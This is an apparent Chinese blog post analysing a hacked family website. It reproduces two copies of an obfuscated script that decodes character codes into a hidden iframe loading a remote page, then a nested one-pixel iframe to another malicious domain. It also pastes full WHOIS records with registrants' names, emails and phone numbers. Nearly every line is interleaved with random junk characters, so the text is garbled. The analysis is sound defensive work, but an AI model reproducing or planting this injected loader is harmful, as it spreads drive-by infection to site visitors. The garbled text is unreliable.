首发在我的博客里面，
5D Y\:AF HYK!}& http://www.areway.cn/?p=175 lFSe?X^ p|+B3 $t~@xCi]S 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
ememce,Np _ oFs #kW <script>t=’60,105,102,114,97,109,101,
2xwlKmI N 32,115,114,99,61,104,116,116,112,58,47,47,
e@#kRklV& 102,114,101,101,46,117,45,117,117,117,46,99,
%JZZ%xc 110,47,101,114,114,111,114,46,104,116,109,
L<V3KS2y 32,119,105,100,116,104,61,49,48,48,32,104,
+7V{ABfGl 101,105,103,104,116,61,48,62,60,47,105,102,
zYY$ D. 114,97,109,101,62′;
*sw7niw t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
O#a6+W"U (X[CsaXt <script>t=’60,105,102,114,97,109,101,32,115,
N K]B? 114,99,61,104,116,116,112,58,47,47,102,114,
V 9wI\0 101,101,46,117,45,117,117,117,46,99,110,47,
m#vL*]c} 101,114,114,111,114,46,104,116,109,32,119,
w
Y 105,100,116,104,61,49,48,48,32,104,101,105,
SqA
J-_~ 103,104,116,61,48,62,60,47,105,102,114,97,
Z8#Gwyinx 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
S8d8%R~1=h document.write(t);</script>
5kypMHJm nmU_N:Y <html xmlns=”
Lw1EWN6}_& http://www.w3.org/1999/xhtml .|qK +Hnc “>
h}`!(K^;3 <head>
JA jmrX <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
' XrRhF
( <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
4+;$7 "fJ <title>首页 - 爱生活家庭网
:O<bA& :d x%+{VStA 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
d[ >`")2) 转换字符串后的大概内容是（谁点击后果自付）：
g*UMG> <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
;<
jbLhHwD M:KbD| 查询玉米u-uuu.cn的详细信息：
G!N{NCq Domain Name: u-uuu.cn
RyJ 1mAC ROID: 20070901s10001s64972306-cn
)d \ j I Domain Status: ok
(>4aibA'P Registrant Organization: 王雷
:~Q!SL N Registrant Name: 王雷
ltB .Q Administrative Email:
czlovexs@126.com $?G"GQ !. Sponsoring Registrar: 北京万网志成科技有限公司
WEg6Kz Name Server:ns.yovole.com
m([(:.X/IX Name Server:ns1.yovole.com
o X@ya3!Pz Registration Date: 2007-09-01 17:54
)tHaB, Expiration Date: 2008-09-01 17:54
LVJI_ O{fH 最后PING了一下地址 都没有什么….
7hW+T7u? `;|5 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
:<Y}l-x <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
>_dx_<75& <script language=”javascript” src=”
" xmP6=1 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script M->*{D@a >
VV4Gj c 这个玉米应该有可能是木马作者的：
9E2j! foafau.info的详细信息：
acP+3u?r Access to INFO WHOIS information is provided to assist persons in
aprm0:Q^ determining the contents of a domain name registration record in the
Zn=T#o Afilias registry database. The data in this record is provided by
kE8>dmH23 Afilias Limited for informational purposes only, and Afilias does not
Wz4&7KYY guarantee its accuracy. This service is intended only for query-based
zya5Jb:Sg access. You agree that you will use this data only for lawful purposes
\Ng\B.IQ and that, under no circumstances will you use this data to: (a) allow,
\<Sv3xy&O enable, or otherwise support the transmission by e-mail, telephone, or
YJg,B\z} facsimile of mass unsolicited, commercial advertising or solicitations
0~wF3BgV to entities other than the data recipient’s own existing customers; or
9SlNq05G7 (b) enable high volume, automated, electronic processes that send
eI.2`)> queries or data to the systems of Registry Operator, a Registrar, or
$Nrm!/)*'} Afilias except as reasonably necessary to register domain names or
<~TP#uAz modify existing registrations. All rights reserved. Afilias reserves
pLa[}= the right to modify these terms at any time. By submitting this query,
'{ I_\~* you agree to abide by this policy.
=deMd`=J Domain ID:D22418703-LRMS
fDE%R={!n5 Domain Name:FOAFAU.INFO
C51bc6V Created On:20-Nov-2007 16:05:42 UTC
CQ`=V2:"ON Last Updated On:20-Nov-2007 16:05:44 UTC
_=ua 6}Xp Expiration Date:20-Nov-2008 16:05:42 UTC
^ ;,M}|<h Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
a?|vQ*W Status:CLIENT DELETE PROHIBITED
iv`O /T Status:CLIENT RENEW PROHIBITED
Pq*s{ Status:CLIENT TRANSFER PROHIBITED
09A
X-JP Status:CLIENT UPDATE PROHIBITED
"mL++>ZSQ Status:TRANSFER PROHIBITED
c4&' D;= Registrant ID:GODA-040110615
73{'k K Registrant Name:liu hong
Q9}dHIe1E Registrant Organization:
DRqZ,[!+ Registrant Street1:beijing
o1&:ry Registrant Street2:
-<jL~] [S Registrant Street3:
Fh v/[j^X Registrant City:beijing
g %K> Registrant State/Province:
} V J fJ/ Registrant Postal Code:100000
vZ/6\ Cz Registrant Country:CN
}X
GEX:1K Registrant Phone:+86.860108888777
3nT
Z)L } Registrant Phone Ext.:
\s3]_1F;t Registrant FAX:
+*\X]06 Registrant FAX Ext.:
} N_NvY Registrant Email:bbbshiji@163.com
lo% ;aK Admin ID:GODA-240110615
AL$&|=C-$ Admin Name:liu hong
izh<I0 Admin Organization:
[E#UGJ@ Admin Street1:beijing
XwV'Ha Admin Street2:
%r&-gWTQ, Admin Street3:
4Mk-2 Dx Admin City:beijing
zR!o {8 Admin State/Province:
gtUUsQ%y . Admin Postal Code:100000
`1 {N=!U(& Admin Country:CN
vvUSeG\n#j Admin Phone:+86.860108888777
DAo ~8H Admin Phone Ext.:
iA T)VQ& Admin FAX:
ycFio , Admin FAX Ext.:
GgaTn!mJt Admin Email:bbbshiji@163.com
Dn c(l( Billing ID:GODA-340110615
1 n%? @+W Billing Name:liu hong
.B#l5pfvP Billing Organization:
3@5=+z~CW Billing Street1:beijing
3=-4%%[M@ Billing Street2:
G-9iowS/A Billing Street3:
l5l>d62 Billing City:beijing
I`z@2Z+pJ Billing State/Province:
+T9:Udi Billing Postal Code:100000
Bp X6aAx Billing Country:CN
n| GaV Billing Phone:+86.860108888777
LZMYr Billing Phone Ext.:
hhoEb(BA Billing FAX:
f+rz|(6vs{ Billing FAX Ext.:
GGhM;%H_99 Billing Email:bbbshiji@163.com
.]aF
1}AI Tech ID:GODA-140110615
Hw#d_P: Tech Name:liu hong
Sq:0w Tech Organization:
$}")1|U,X Tech Street1:beijing
As+t##gN Tech Street2:
-v6M< Tech Street3:
x `V;Y]7' Tech City:beijing
n$xQ[4eH) Tech State/Province:
0]HYP;E"U Tech Postal Code:100000
L
8{\r$ Tech Country:CN
P/&]?f 0/ Tech Phone:+86.860108888777
CK,
6ytB Tech Phone Ext.:
{'16:dTJ Tech FAX:
'!f5?O+E Tech FAX Ext.:
R |KD&!~Z Tech Email:bbbshiji@163.com
9&RFO$WH Name Server:NS27.DOMAINCONTROL.COM
29XL$v], Name Server:NS28.DOMAINCONTROL.COM
? FfC Name Server:
wP"dZagpj Name Server:
Qr
Wj>uR Name Server:
K't]n{$ Name Server:
bQ| V!mrN} Name Server:
Be+0NXLVy Name Server:
%e*@CbO$ Name Server:
5 Sk W-+$ Name Server:
5>AX*]c Name Server:
T{wuj[ Q#: Name Server:
\M'-O YH_[ Name Server:
)Ud-}* g K'#E3={tt 接着下载每个文件里面的代码：
+H$!a 一步一步看..
p&VU0[LIC0 
\QU^>2 3 
$=?@*p 
[pVamE 
/c):}PJ^#7 
4 Jx"A\5*G 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
